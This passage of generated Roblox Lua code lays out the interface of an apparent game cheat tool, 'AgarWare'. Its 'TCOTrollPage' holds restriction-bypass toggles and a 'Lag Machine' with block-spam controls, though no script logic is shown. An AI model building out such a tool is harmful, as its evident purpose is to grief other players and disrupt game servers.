G2L["196"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["196"]["Text"] = [[Delete]];
G2L["196"]["Name"] = [[DeleteBypassText]];
G2L["196"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow
G2L["197"] = Instance.new("Frame", G2L["188"]);
G2L["197"]["BorderSizePixel"] = 0;
G2L["197"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["197"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["197"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["197"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["197"]["Name"] = [[ShapeBypassRow]];
G2L["197"]["LayoutOrder"] = 6;
G2L["197"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassScript
G2L["198"] = Instance.new("LocalScript", G2L["197"]);
G2L["198"]["Name"] = [[ShapeBypassScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassTickBox
G2L["199"] = Instance.new("TextButton", G2L["197"]);
G2L["199"]["TextSize"] = 14;
G2L["199"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["199"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["199"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["199"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["199"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["199"]["Text"] = [[]];
G2L["199"]["Name"] = [[ShapeBypassTickBox]];
G2L["199"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassText
G2L["19a"] = Instance.new("TextLabel", G2L["197"]);
G2L["19a"]["BorderSizePixel"] = 0;
G2L["19a"]["TextSize"] = 14;
G2L["19a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["19a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19a"]["BackgroundTransparency"] = 1;
G2L["19a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["19a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19a"]["Text"] = [[Shape]];
G2L["19a"]["Name"] = [[ShapeBypassText]];
G2L["19a"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow
G2L["19b"] = Instance.new("Frame", G2L["188"]);
G2L["19b"]["BorderSizePixel"] = 0;
G2L["19b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["19b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["19b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19b"]["Name"] = [[ShovelBypassRow]];
G2L["19b"]["LayoutOrder"] = 7;
G2L["19b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassScript
G2L["19c"] = Instance.new("LocalScript", G2L["19b"]);
G2L["19c"]["Name"] = [[ShovelBypassScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassTickBox
G2L["19d"] = Instance.new("TextButton", G2L["19b"]);
G2L["19d"]["TextSize"] = 14;
G2L["19d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19d"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["19d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["19d"]["Text"] = [[]];
G2L["19d"]["Name"] = [[ShovelBypassTickBox]];
G2L["19d"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassText
G2L["19e"] = Instance.new("TextLabel", G2L["19b"]);
G2L["19e"]["BorderSizePixel"] = 0;
G2L["19e"]["TextSize"] = 14;
G2L["19e"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["19e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19e"]["BackgroundTransparency"] = 1;
G2L["19e"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["19e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19e"]["Text"] = [[Shovel]];
G2L["19e"]["Name"] = [[ShovelBypassText]];
G2L["19e"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow
G2L["19f"] = Instance.new("Frame", G2L["188"]);
G2L["19f"]["BorderSizePixel"] = 0;
G2L["19f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["19f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["19f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19f"]["Name"] = [[SignBypassRow]];
G2L["19f"]["LayoutOrder"] = 8;
G2L["19f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassScript
G2L["1a0"] = Instance.new("LocalScript", G2L["19f"]);
G2L["1a0"]["Name"] = [[SignBypassScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassTickBox
G2L["1a1"] = Instance.new("TextButton", G2L["19f"]);
G2L["1a1"]["TextSize"] = 14;
G2L["1a1"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1a1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1a1"]["Text"] = [[]];
G2L["1a1"]["Name"] = [[SignBypassTickBox]];
G2L["1a1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassText
G2L["1a2"] = Instance.new("TextLabel", G2L["19f"]);
G2L["1a2"]["BorderSizePixel"] = 0;
G2L["1a2"]["TextSize"] = 14;
G2L["1a2"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1a2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a2"]["BackgroundTransparency"] = 1;
G2L["1a2"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1a2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a2"]["Text"] = [[Sign]];
G2L["1a2"]["Name"] = [[SignBypassText]];
G2L["1a2"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow
G2L["1a3"] = Instance.new("Frame", G2L["188"]);
G2L["1a3"]["BorderSizePixel"] = 0;
G2L["1a3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a3"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1a3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1a3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a3"]["Name"] = [[BuildBypassRow]];
G2L["1a3"]["LayoutOrder"] = 3;
G2L["1a3"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassScript
G2L["1a4"] = Instance.new("LocalScript", G2L["1a3"]);
G2L["1a4"]["Name"] = [[BuildBypassScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassTickBox
G2L["1a5"] = Instance.new("TextButton", G2L["1a3"]);
G2L["1a5"]["TextSize"] = 14;
G2L["1a5"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a5"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1a5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1a5"]["Text"] = [[]];
G2L["1a5"]["Name"] = [[BuildBypassTickBox]];
G2L["1a5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassText
G2L["1a6"] = Instance.new("TextLabel", G2L["1a3"]);
G2L["1a6"]["BorderSizePixel"] = 0;
G2L["1a6"]["TextSize"] = 14;
G2L["1a6"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1a6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a6"]["BackgroundTransparency"] = 1;
G2L["1a6"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a6"]["Text"] = [[Build]];
G2L["1a6"]["Name"] = [[BuildBypassText]];
G2L["1a6"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup
G2L["1a7"] = Instance.new("Frame", G2L["186"]);
G2L["1a7"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1a7"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1a7"]["Size"] = UDim2.new(0, 170, 0, 202);
G2L["1a7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1a7"]["Name"] = [[LagGroup]];
G2L["1a7"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagScript
G2L["1a8"] = Instance.new("LocalScript", G2L["1a7"]);
G2L["1a8"]["Name"] = [[LagScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagToolTip
G2L["1a9"] = Instance.new("LocalScript", G2L["1a7"]);
G2L["1a9"]["Name"] = [[LagToolTip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.UIListLayout
G2L["1aa"] = Instance.new("UIListLayout", G2L["1a7"]);
G2L["1aa"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagAccentColor
G2L["1ab"] = Instance.new("Frame", G2L["1a7"]);
G2L["1ab"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ab"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1ab"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1ab"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1ab"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1ab"]["Name"] = [[LagAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle
G2L["1ac"] = Instance.new("TextLabel", G2L["1a7"]);
G2L["1ac"]["TextWrapped"] = true;
G2L["1ac"]["BorderSizePixel"] = 0;
G2L["1ac"]["TextSize"] = 14;
G2L["1ac"]["TextScaled"] = true;
G2L["1ac"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ac"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1ac"]["BackgroundTransparency"] = 0.95;
G2L["1ac"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1ac"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ac"]["Text"] = [[Lag Machine]];
G2L["1ac"]["LayoutOrder"] = 1;
G2L["1ac"]["Name"] = [[LagTitle]];
G2L["1ac"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle.LagMinimize
G2L["1ad"] = Instance.new("TextButton", G2L["1ac"]);
G2L["1ad"]["BorderSizePixel"] = 0;
G2L["1ad"]["TextSize"] = 14;
G2L["1ad"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ad"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ad"]["BackgroundTransparency"] = 1;
G2L["1ad"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["1ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ad"]["Text"] = [[-]];
G2L["1ad"]["Name"] = [[LagMinimize]];
G2L["1ad"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle.LagHelp
G2L["1ae"] = Instance.new("TextButton", G2L["1ac"]);
G2L["1ae"]["TextSize"] = 14;
G2L["1ae"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["1ae"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1ae"]["Size"] = UDim2.new(0, 12, 0, 12);
G2L["1ae"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1ae"]["Text"] = [[?]];
G2L["1ae"]["Name"] = [[LagHelp]];
G2L["1ae"]["Position"] = UDim2.new(0.02367, 0, 0.15999, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow
G2L["1af"] = Instance.new("Frame", G2L["1a7"]);
G2L["1af"]["BorderSizePixel"] = 0;
G2L["1af"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1af"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1af"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1af"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1af"]["Name"] = [[SpamSelectRow]];
G2L["1af"]["LayoutOrder"] = 6;
G2L["1af"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectScript
G2L["1b0"] = Instance.new("LocalScript", G2L["1af"]);
G2L["1b0"]["Name"] = [[SpamSelectScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectHelp
G2L["1b1"] = Instance.new("TextButton", G2L["1af"]);
G2L["1b1"]["TextSize"] = 14;
G2L["1b1"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["1b1"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1b1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1b1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1b1"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1b1"]["Text"] = [[?]];
G2L["1b1"]["Name"] = [[SpamSelectHelp]];
G2L["1b1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectButton
G2L["1b2"] = Instance.new("TextButton", G2L["1af"]);
G2L["1b2"]["TextSize"] = 14;
G2L["1b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b2"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["1b2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b2"]["Text"] = [[Select Block]];
G2L["1b2"]["Name"] = [[SpamSelectButton]];
G2L["1b2"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow
G2L["1b3"] = Instance.new("Frame", G2L["1a7"]);
G2L["1b3"]["BorderSizePixel"] = 0;
G2L["1b3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b3"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1b3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1b3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b3"]["Name"] = [[BlockSpamRow]];
G2L["1b3"]["LayoutOrder"] = 7;
G2L["1b3"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamScript
G2L["1b4"] = Instance.new("LocalScript", G2L["1b3"]);
G2L["1b4"]["Name"] = [[BlockSpamScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamButton
G2L["1b5"] = Instance.new("TextButton", G2L["1b3"]);
G2L["1b5"]["TextSize"] = 14;
G2L["1b5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b5"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1b5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b5"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1b5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b5"]["Text"] = [[Start Spam]];
G2L["1b5"]["Name"] = [[BlockSpamButton]];
G2L["1b5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow
G2L["1b6"] = Instance.new("Frame", G2L["1a7"]);
G2L["1b6"]["BorderSizePixel"] = 0;
G2L["1b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1b6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b6"]["Name"] = [[BlockSizeRow]];
G2L["1b6"]["LayoutOrder"] = 8;
G2L["1b6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeText
G2L["1b7"] = Instance.new("TextLabel", G2L["1b6"]);
G2L["1b7"]["BorderSizePixel"] = 0;
G2L["1b7"]["TextSize"] = 14;
G2L["1b7"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1b7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b7"]["BackgroundTransparency"] = 1;
G2L["1b7"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b7"]["Text"] = [[Block Size]];
G2L["1b7"]["Name"] = [[BlockSizeText]];
G2L["1b7"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger
G2L["1b8"] = Instance.new("TextBox", G2L["1b6"]);
G2L["1b8"]["Name"] = [[BlockSizeChanger]];
G2L["1b8"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1b8"]["TextWrapped"] = true;
G2L["1b8"]["TextSize"] = 14;
G2L["1b8"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1b8"]["TextScaled"] = true;
G2L["1b8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b8"]["PlaceholderText"] = [[(1)]];
G2L["1b8"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["1b8"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["1b8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b8"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger.BlockSizeScript
G2L["1b9"] = Instance.new("LocalScript", G2L["1b8"]);
G2L["1b9"]["Name"] = [[BlockSizeScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeHelp
G2L["1ba"] = Instance.new("TextButton", G2L["1b6"]);
G2L["1ba"]["TextSize"] = 14;
G2L["1ba"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["1ba"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1ba"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1ba"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1ba"]["Text"] = [[?]];
G2L["1ba"]["Name"] = [[BlockSizeHelp]];
G2L["1ba"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow
G2L["1bb"] = Instance.new("Frame", G2L["1a7"]);
G2L["1bb"]["BorderSizePixel"] = 0;
G2L["1bb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1bb"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1bb"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1bb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1bb"]["Name"] = [[BlockAmountRow]];
G2L["1bb"]["LayoutOrder"] = 9;
G2L["1bb"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView
G2L["1bc"] = Instance.new("TextButton", G2L["1bb"]);
G2L["1bc"]["TextSize"] = 14;
G2L["1bc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1bc"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1bc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1bc"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1bc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1bc"]["Text"] = [[Block Spam Amount: 0]];
G2L["1bc"]["Name"] = [[BlockAmountView]];
G2L["1bc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView.BlockAmountViewScript
G2L["1bd"] = Instance.new("LocalScript", G2L["1bc"]);
G2L["1bd"]["Name"] = [[BlockAmountViewScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow
G2L["1be"] = Instance.new("Frame", G2L["1a7"]);
G2L["1be"]["BorderSizePixel"] = 0;
G2L["1be"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1be"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1be"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1be"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1be"]["Name"] = [[ReduceLagRow]];
G2L["1be"]["LayoutOrder"] = 8;
G2L["1be"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagScript
G2L["1bf"] = Instance.new("LocalScript", G2L["1be"]);
G2L["1bf"]["Name"] = [[ReduceLagScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagText
G2L["1c0"] = Instance.new("TextLabel", G2L["1be"]);
G2L["1c0"]["BorderSizePixel"] = 0;
G2L["1c0"]["TextSize"] = 14;
G2L["1c0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1c0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c0"]["BackgroundTransparency"] = 1;
G2L["1c0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1c0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c0"]["Text"] = [[Disable Lag]];
G2L["1c0"]["Name"] = [[ReduceLagText]];
G2L["1c0"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagTickBox
G2L["1c1"] = Instance.new("TextButton", G2L["1be"]);
G2L["1c1"]["TextSize"] = 14;
G2L["1c1"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1c1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1c1"]["Text"] = [[]];
G2L["1c1"]["Name"] = [[ReduceLagTickBox]];
G2L["1c1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow
G2L["1c2"] = Instance.new("Frame", G2L["1a7"]);
